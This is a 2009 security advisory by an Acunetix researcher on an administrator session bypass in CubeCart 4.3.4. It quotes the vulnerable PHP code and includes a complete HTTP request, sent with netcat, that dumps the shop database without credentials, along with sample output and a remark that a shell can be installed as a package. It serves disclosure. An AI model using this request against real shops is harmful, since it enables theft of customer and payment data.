Loading ...
Global Do...
News & Politics
11
0
Try Now
Log In
Pricing
1 CubeCart 4 Session Management Bypass 2 3 Release Date: 2009/10/29 4 Author: Bogdan Calin (bogdan [at] acunetix [dot] com) 5 Severity: Critical 6 Vendor Status: Vendor has released an updated version 7 8 I. Background 9 10 >From Wikipedia: CubeCart is a free−to−use eCommerce software solution, 11 designed to allow individuals and businesses sell tangible and digital 12 goods on line. 13 CubeCart is not Open Source software, although full source code is 14 available at no cost, and the custom licensing model allows for 15 customisation of the code. 16 ... 17 CubeCart has developed a large fanbase, due in part, to the relative 18 ease of creating modifications and enhancements. 19 In the September/October 2007 issue of Practical eCommerce magazine, 20 CubeCart was placed at #1 in their list of ’100 Most Notable Shopping 21 Carts’. 22 23 II. Description 24 25 While auditing the source code of CubeCart version v4.3.4, I’ve found a 26 critical vulnerability in this application. 27 Basically, session managament for administrative users is flawed. It’s 28 easy to bypass it without providing any credentials. 29 An attacker can later perform any actions the administrator can, such as 30 dumping the database, install modules (PHP code execution) and so on. 31 32 CubeCart is using a MySQL table named CubeCart_admin_users for storing 33 information about administrative users. 34 When an administrator logs in, the applications stores his session ID, 35 browser (user agent) and IP address in the sessId, browser and sessIP 36 fields. 37 > SELECT adminId, username, sessId, browser, sessIp FROM 38 CubeCart_admin_users C; 39 1, ’admin’, ’9a58f70e7ded1bcb568b02815a1c4a56’, ’Mozilla/5.0 (Windows; 40 U; Windows NT 5.1; en−US) AppleWebKit/532.0 (KHTML, like Gecko) 41 Chrome/3.0.195.27 Safari/532.0’, ’192.168.0.26’ 42 43 When the adminstrator logs out, these values are cleared. So sessId and 44 the others fields become empty (as in an empty string). 45 > SELECT adminId, username, sessId, browser, sessIp FROM 46 CubeCart_admin_users C; 47 1, ’admin’, ’’, ’’, ’’ 48 49 Let’s analyze the code: 50 51 In classes\session\cc_admin_session.php, on line 56 there is: 52 Page 1/6 CubeCart 4 Session Management Bypass Bogdan Calin 10/30/2009 53 $query = sprintf("SELECT * FROM 54 ".$this−>glob[’dbprefix’]."CubeCart_admin_users WHERE sessId = %s", 55 $this−>db−>mySQLSafe($GLOBALS[CC_ADMIN_SESSION_NAME])); 56 57 This will select the fields for the administrative user corresponding to 58 the session identified by sessID. 59 But when the administrative user is logged out, sessID is empty. So, we 60 can bypass this check by using an empty sessID. 61 62 There are 2 more checks that need to be bypassed: 63 There is this piece of code: 64 65 if (strpos($_SERVER[’HTTP_USER_AGENT’],’AOL’) == false && 66 $ccAdminData[0][’sessIp’] !== $client_ip || $ccAdminData[0][’browser’] 67 !== $_SERVER[’HTTP_USER_AGENT’]) { 68 $this−>logout(); 69 } 70 71 The HTTP_USER_AGENT check can be easily bypassed using an empty user agent. 72 How about the $client_ip check? 73 74 At first I was thinking that it’s not possible to bypass that. 75 76 Let’s look at the code: 77 Filename "includes\functions.inc.php", line 36: 78 79 ## Get Client IP Address 80 function get_ip_address() { 81 ## New line added for cluser/cloud type hosting e.g. Mosso 82 if(isset($_SERVER[’HTTP_X_CLUSTER_CLIENT_IP’]) && !detectSSL()) return 83 $_SERVER[’HTTP_X_CLUSTER_CLIENT_IP’]; 84 ## Otherwise use standard IP checks 85 $address = false; 86 if (isset($_SERVER[’REMOTE_ADDR’])) { 87 if (PHP51_MODE) { 88 if (preg_match(’#(?:\d{1,3}\.){3}\d{1,3}#’, 89 $_SERVER[’REMOTE_ADDR’])) { 90 ## Valid IPv4 Address 91 $address = $_SERVER[’REMOTE_ADDR’]; 92 if 93 (preg_match(’#^(10\.[0−255]|169\.254|172\.(1[6−9]|2[0−9]|3[12])|192\.168)#’, 94 $address)) { 95 foreach (array(’HTTP_X_FORWARDED_FOR’, 96 ’HTTP_CLIENT_IP’) as $key) { 97 if (isset($_SERVER[$key]) && 98 preg_match(’#^[0−255]\.[0−255]\.[0−255]\.[0−255]$#’, $_SERVER[$key])) { 99 $address = $_SERVER[$key]; 100 break; 101 } 102 } 103 } 104 } Page 2/6 CubeCart 4 Session Management Bypass Bogdan Calin 10/30/2009 105 } else { 106 if (filter_var($_SERVER[’REMOTE_ADDR’], FILTER_VALIDATE_IP, 107 FILTER_FLAG_IPV4)) { 108 ## Valid IPv4 Address 109 $address = $_SERVER[’REMOTE_ADDR’]; 110 if 111 (preg_match(’#^(10\.[0−255]|169\.254|172\.(1[6−9]|2[0−9]|3[12])|192\.168)#’, 112 $address)) { 113 foreach (array(’HTTP_X_FORWARDED_FOR’, 114 ’HTTP_CLIENT_IP’) as $key) { 115 if (isset($_SERVER[$key]) && 116 filter_var($_SERVER[$key], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { 117 $address = $_SERVER[$key]; 118 break; 119 } 120 } 121 } 122 } elseif (filter_var($_SERVER[’REMOTE_ADDR’], 123 FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { 124 ## Valid IPv6 Address 125 $address = $_SERVER[’REMOTE_ADDR’]; 126 } 127 } 128 return $address; 129 } else { 130 return false; 131 } 132 133 } 134 135 There are all these complex checks for validating 136 $_SERVER[’REMOTE_ADDR’]. However, $_SERVER[’REMOTE_ADDR’] cannot be faked. 137 And then, on the first line there is: 138 139 if(isset($_SERVER[’HTTP_X_CLUSTER_CLIENT_IP’]) && !detectSSL()) return 140 $_SERVER[’HTTP_X_CLUSTER_CLIENT_IP’]; 141 142 This line will bypass all those complex checks. 143 So, you just need to send an X_CLUSTER_CLIENT_IP header with an empty value. 144 145 This line of code (the one with X_CLUSTER_CLIENT_IP) looks like a hack 146 to me. 147 It was probably added later to fix some bug or add a new feature. 148 149 So, by entering empty sessId (ccAdmin cookie), user−agent and 150 X_CLUSTER_CLIENT_IP header you can bypass the authentication and perform 151 any actions an adminstrator can perform. 152 153 Here is a sample HTTP request that will dump the whole database in one 154 request: 155 156 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− Page 3/6 CubeCart 4 Session Management Bypass Bogdan Calin 10/30/2009 157 POST /CubeCart−latest/admin.php?_g=maintenance/backup HTTP/1.1 158 Host: bld02 159 Content−Type: multipart/form−data; 160 boundary=−−−−WebKitFormBoundaryCpv+NVAHAgHHdvdI 161 User−Agent: 162 X_CLUSTER_CLIENT_IP: 163 Cookie: ccAdmin=+ 164 Accept: */*;q=0.5 165 Content−Length: 434 166 167 −−−−−−WebKitFormBoundaryCpv+NVAHAgHHdvdI 168 Content−Disposition: form−data; name="structure" 169 170 1 171 −−−−−−WebKitFormBoundaryCpv+NVAHAgHHdvdI 172 Content−Disposition: form−data; name="data" 173 174 1 175 −−−−−−WebKitFormBoundaryCpv+NVAHAgHHdvdI 176 Content−Disposition: form−data; name="dbbackup" 177 178 1 179 −−−−−−WebKitFormBoundaryCpv+NVAHAgHHdvdI 180 Content−Disposition: form−data; name="submit" 181 182 Download Now 183 −−−−−−WebKitFormBoundaryCpv+NVAHAgHHdvdI−− 184 185 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− 186 187 You can save it in a text file and use it with netcat 188 (http://netcat.sourceforge.net/) like: 189 190 >nc bld02 80 < db_dump.txt | more 191 192 HTTP/1.1 200 OK 193 Date: Tue, 20 Oct 2009 09:01:58 GMT 194 Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6−2ubuntu4.3 with Suhosin−Patch 195 mod_ssl/2.2.9 OpenSSL/0.9.8g 196 X−Powered−By: PHP/5.2.6−2ubuntu4.3 197 Pragma: private 198 Cache−control: private, must−revalidate 199 Content−Disposition: attachment; filename=cubecartlatest_20Oct09.sql 200 Content−length: 80864 201 Content−Transfer−Encoding: binary 202 Content−Type: application/octet−stream 203 204 −− −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− 205 −− CubeCart SQL Dump 206 −− version 4.3.4 207 −− http://www.cubecart.com 208 −− Page 4/6 CubeCart 4 Session Management Bypass Bogdan Calin 10/30/2009 209 −− Host: localhost 210 −− Generation Time: Oct 20 2009, 12:01 PM 211 −− Server version: 5.0.67−0ubuntu6 212 −− PHP Version: 5.2.6−2ubuntu4.3 213 −− 214 −− Database: ‘cubecartlatest‘ 215 −− −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− 216 217 −− 218 −− Table structure for table ‘CubeCart_Coupons‘ 219 −− 220 221 ... 222 223 CREATE TABLE ‘CubeCart_transactions‘ ( 224 ‘id‘ int(11) NOT NULL auto_increment, 225 ‘gateway‘ varchar(255), 226 ‘extra‘ varchar(255), 227 ‘status‘ varchar(50), 228 ‘customer_id‘ int(11), 229 ‘order_id‘ varchar(255), 230 ‘trans_id‘ varchar(50), 231 ‘time‘ int(10), 232 ‘amount‘ decimal(30,2), 233 ‘remainder‘ decimal(30,2) DEFAULT ’0.00’ NOT NULL, 234 ‘notes‘ text, 235 PRIMARY KEY (‘id‘), 236 KEY ‘customer_id‘ (‘customer_id‘) 237 ) ENGINE MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 238 COLLATE=utf8_unicode_ci ; 239 240 −− 241 −− Dumping data for table ‘CubeCart_transactions‘ 242 −− 243 244 An administrator can install CubeCart packages, and it’s trivial to 245 create a dummy package with a shell inside and install it. 246 Therefore, PHP code execution is possible and quite trivial to achieve. 247 248 III. Workaround 249 The vendor was notified about this vulnerability on 20 October 2009 and 250 theyM−^Rve released a fix on 26 October 2009. 251 The problem was fixed in CubeCart version 4.3.5, which is available 252 here: http://forums.cubecart.com/index.php?showtopic=39691. 253 254 However, the post "CubeCart 4.3.5 Released, Maintenance Release", 255 doesn’t include any information about this critical vulnerability. 256 [Quote] 257 Whats new? 258 − URL’s Changed in WorldPay module to match "RBS Worldpay" branding 259 − PayPal 3D Secure Fix & Enhancements * 260 − Moneybookers Payment Notification Fix Page 5/6 CubeCart 4 Session Management Bypass Bogdan Calin 10/30/2009 261 − Database Class Optimization 262 − Misc bugs... 263 [/Quote] 264 265 I find this behaviour completely unprofessional: a vendor should inform 266 his customers when a serious vulnerability is fixed in their product. 267 Especially when the product is processing credit card data, like 268 CubeCart does. 269 270 271 −− 272 Bogdan Calin − bogdan@acunetix.com 273 CTO 274 Acunetix Ltd. − http://www.acunetix.com 275 Acunetix Web Security Blog − http://www.acunetix.com/blog Page 6/6 CubeCart 4 Session Management Bypass Bogdan Calin 10/30/2009